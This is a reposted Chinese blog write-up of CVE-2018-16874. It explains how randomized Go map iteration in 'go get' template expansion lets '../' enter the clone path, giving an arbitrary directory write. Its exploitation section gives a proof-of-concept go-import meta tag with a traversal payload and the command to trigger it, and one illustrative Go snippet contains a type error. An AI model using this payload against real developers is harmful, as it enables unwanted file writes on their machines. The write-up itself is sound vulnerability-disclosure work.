go get -v CVE-2018-16874

栏目: 编程工具 · 发布时间: 5年前

内容简介:这是一篇拖了很久的文起因是某次给 godoc.org 提交 RCE 后,突然好奇起同样机制的 go get 会不会也存在相似的洞于是便开始分析 go get 的内部实现,没想到意外的在另一处发现了一个有意思的洞

作者:ztz

这是一篇拖了很久的文

起因是某次给 godoc.org 提交 RCE 后,突然好奇起同样机制的 go get 会不会也存在相似的洞

于是便开始分析 go get 的内部实现,没想到意外的在另一处发现了一个有意思的洞

开始

go get 会根据 import path 获取指定依赖包到本地,对其进行编译和安装,如:

$ go get github.com/jmoiron/sqlx

go get 大概逻辑是这样(对应代码在 src/cmd/go/internal/get 我懒得贴了):

import path

而根据官方文档,如果 import path 未知, go 会尝试解析远程 import path<meta> 标签:

If the import path is not a known code hosting site and also lacks a version control qualifier, the go tool attempts to fetch the import over https/http and looks for a tag in the document’s HTML

合法的 <meta> 标签格式为:

<meta name="go-import" content="import-prefix vcs repo-root">

各字段含义如下:

  • import-prefix 表示 import path 的仓库根地址,当页面出现多个 go-import 标签时 go 就靠这个字段选择正确的标签
  • vcs 表示使用的版本控制系统如 git , hg
  • repo-root 表示仓库地址

Go 解析到正确的标签后,会做一些校验,其中一个是 import-prefix 必须是用户输入的 import path 的前缀,这个校验使我直接打消了在 import-prefix 中插入 ../ 的想法(这是之前 godoc 那个洞的思路)

然后根据 vcs 代表的版本控制系统生成对应的实例:

rr := &repoRoot{
  vcs:  vcsByCmd(metaImport.VCS),
  repo: metaImport.RepoRoot,
  root: metaImport.Prefix,
}

每种不同的实例都拥有统一的接口方法

type vcsCmd struct {
    name string
    cmd  string // name of binary to invoke command

    createCmd   string // command to download a fresh copy of a repository
    downloadCmd string // command to download updates into an existing repository

    tagCmd         []tagCmd // commands to list tags
    tagLookupCmd   []tagCmd // commands to lookup tags before running tagSyncCmd
    tagSyncCmd     string   // command to sync to specific tag
    tagSyncDefault string   // command to sync to default tag

    scheme  []string
    pingCmd string
}

命令按照功能划分,具体执行的命令由底下的实例自己填充,如 git

var vcsGit = &vcsCmd{
    name: "Git",
    cmd:  "git",

    createCmd:   "clone {repo} {dir}",
    downloadCmd: "fetch",

    tagCmd: []tagCmd{
        // tags/xxx matches a git tag named xxx
        // origin/xxx matches a git branch named xxx on the default remote repository
        {"show-ref", `(?:tags|origin)/(\S+)$`},
    },
    tagLookupCmd: []tagCmd{
        {"show-ref tags/{tag} origin/{tag}", `((?:tags|origin)/\S+)$`},
    },
    tagSyncCmd:     "checkout {tag}",
    tagSyncDefault: "checkout origin/master",

    scheme:  []string{"git", "https", "http", "git+ssh"},
    pingCmd: "ls-remote {scheme}://{repo}",
}

拿到实例后, Go 将其中的 import-prefix , vcs , repo-root 取出后:

rr, err := repoRootForImportPath(p.ImportPath)
if err != nil {
  return err
}
vcs, repo, rootPath = rr.vcs, rr.repo, rr.root

直接交给实例 vcs 执行创建操作:

root := filepath.Join(p.Internal.Build.SrcRoot, filepath.FromSlash(rootPath))
if err = vcs.create(root, repo); err != nil {
  return err
}
vcs.create` 的目的是将远端 `repo` 克隆到本地 `root` 中,实现方法是调用 `vcs` 的 `createCmd
func (v *vcsCmd) create(dir, repo string) error {
    return v.run(".", v.createCmd, "dir", dir, "repo", repo)
}

func (v *vcsCmd) run(dir string, cmd string, keyval ...string) error {
    _, err := v.run1(dir, cmd, keyval, true)
    return err
}

前面说了,命令是每个实例自己负责填充的, Go 在这里自己实现了一套模版机制,它将命令看作模版,具体执行时,只要把模版里的变量和实际变量进行一次替换即可方便的生成命令,如 gitclone 命令:

createCmd:   "clone {repo} {dir}",

替换方法是简单的 for 遍历替换:

func expand(match map[string]string, s string) string {
    for k, v := range match {
        s = strings.Replace(s, "{"+k+"}", v, -1)
    }
    return s
}

命令执行是用 os.exec 直接将参数传给可执行文件,不存在参数污染的可能。

我只能把注意力放在表示克隆路径上,克隆的路径其实就是 <meta> 标签里的 import-prefix ,前面也说了, import-prefix 必须是用户输入 import-path 前缀,非但我不可能让用户输入 go get http://foo.bar/../../Go 也不允许 import-path 里出现非法字符,所以这里没什么操控空间。

也就是说 <meta> 标签里的三个可控字段都不好利用。

转机

当我正要放弃时,突然想到了 go map 随机遍历的特性, map 结构在底层的实现是 HashTablekey 的存储是 无序 的,所以在使用 map 时, key-value 的存入顺序和遍历顺序并不一致。

由于担心用户过于依赖 map 遍历的顺序,官方特意对 map 的遍历做了随机化处理,每次 map 进行遍历操作的顺序都不一样, Andrew Gerrand 在官方博客 https://blog.golang.org/go-maps-in-action 里详细说明了这一点:

When iterating over a map with a range loop, the iteration order is not specified and is not guaranteed to be the same from one iteration to the next. Since the release of Go 1.0, the runtime has randomized map iteration order. Programmers had begun to rely on the stable iteration order of early versions of Go, which varied between implementations, leading to portability bugs. If you require a stable iteration order you must maintain a separate data structure that specifies that order. This example uses a separate sorted slice of keys to print a map[int]string in key order:

简单写一个 map 遍历的程序来测试:

package main

import "fmt"

func main() {
  foobar := map[string]int{
      "foo": "foo",
      "bar": "bar",
  }

  for k, v := range foobar {
      fmt.Println(k, ": ", v)
  }
}

这是一个简单的 map 遍历代码,如果反复运行该程序,看到的输出顺序是这样的:

$ go run random_map.go
bar :  bar
foo :  foo
$ go run random_map.go
foo :  foo
bar :  bar
$ go run random_map.go
foo :  foo
bar :  bar

输出顺序是随机的,这种随机乱序遍历为我提供了绝处逢生的可能,如果命令模版在变量替换的过程中以我希望的顺序进行,我就可以配合模版变量搞一波事:

func expand(match map[string]string, s string) string {
    for k, v := range match {
        s = strings.Replace(s, "{"+k+"}", v, -1)
    }
    return s
}

其中

  • match 中的 key 为模版变量, value 为实际值,当前是 {"dir": import-prefix, "repo": repo-root}
  • s 是命令模版 clone {repo} {dir}

我若在 import-prefix 中放入 {repo} ,比如 https://foo.com/bar/{repo} ,再在 repo 里插入我的字符: https://foo.com/bar/../../../../../../../../../../tmp/pwn ,形成这样一个 match

{
    "dir": "https://foo.com/bar/{repo}",
    "repo": "https://foo.com/bar/../../tmp/pwn"
}

依靠 map 乱序遍历特性,找机会让 expand 先遍历替换 {dir} 再替换 {repo} ,就可以得到如下结果:

  1. 先替换 {dir} 得到 clone {repo} https://foo.com/bar/{repo}
  2. 再替换 {repo} 得到 clone https://foo.com/bar/../../tmp/pwn https://foo.com/bar/https://foo.com/bar/../../tmp/pwn

这么一来 ../ 便被引入到了克隆目标路径里,一个艰难的任意目录写就出现了,利用 ../ 可以进一步扩大战果,但这不是本篇的重点,就不赘述了。

利用

在自己的 web 服务器上设置返回以下内容:

<!DOCTYPE html>
<html>
<head>
<meta name="go-import" content="ztz.me/linux/{repo} git https://ztz.me/../../../../../../../../../../tmp/pwn"/>
</head>
</html>

然后多次运行 go get ztz.me/linux/{repo} 就可以在人品爆发时触发利用(多试几次)


以上所述就是小编给大家介绍的《go get -v CVE-2018-16874》,希望对大家有所帮助,如果大家有任何疑问请给我留言,小编会及时回复大家的。在此也非常感谢大家对 码农网 的支持!

查看所有标签

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

大数据大创新:阿里巴巴云上数据中台之道

大数据大创新:阿里巴巴云上数据中台之道

邓中华 / 电子工业出版社 / 2018-11 / 99

阿里巴巴云上数据中台正服务着阿里生态中的数十个业务板块、百余家公司、千万级客户,在帮助决策层看清甚至决定业态走向的同时,在上万个业务场景中应用并催生创新。 《大数据大创新:阿里巴巴云上数据中台之道》基于作者在阿里巴巴的十年大数据从业经历,精彩演绎云上数据中台之道。《大数据大创新:阿里巴巴云上数据中台之道》基于大数据探索的大趋势,讲述阿里巴巴云上数据中台顶层设计,再以实际案例详述阿里巴巴云上数......一起来看看 《大数据大创新:阿里巴巴云上数据中台之道》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

XML 在线格式化
XML 在线格式化

在线 XML 格式化压缩工具

UNIX 时间戳转换
UNIX 时间戳转换

UNIX 时间戳转换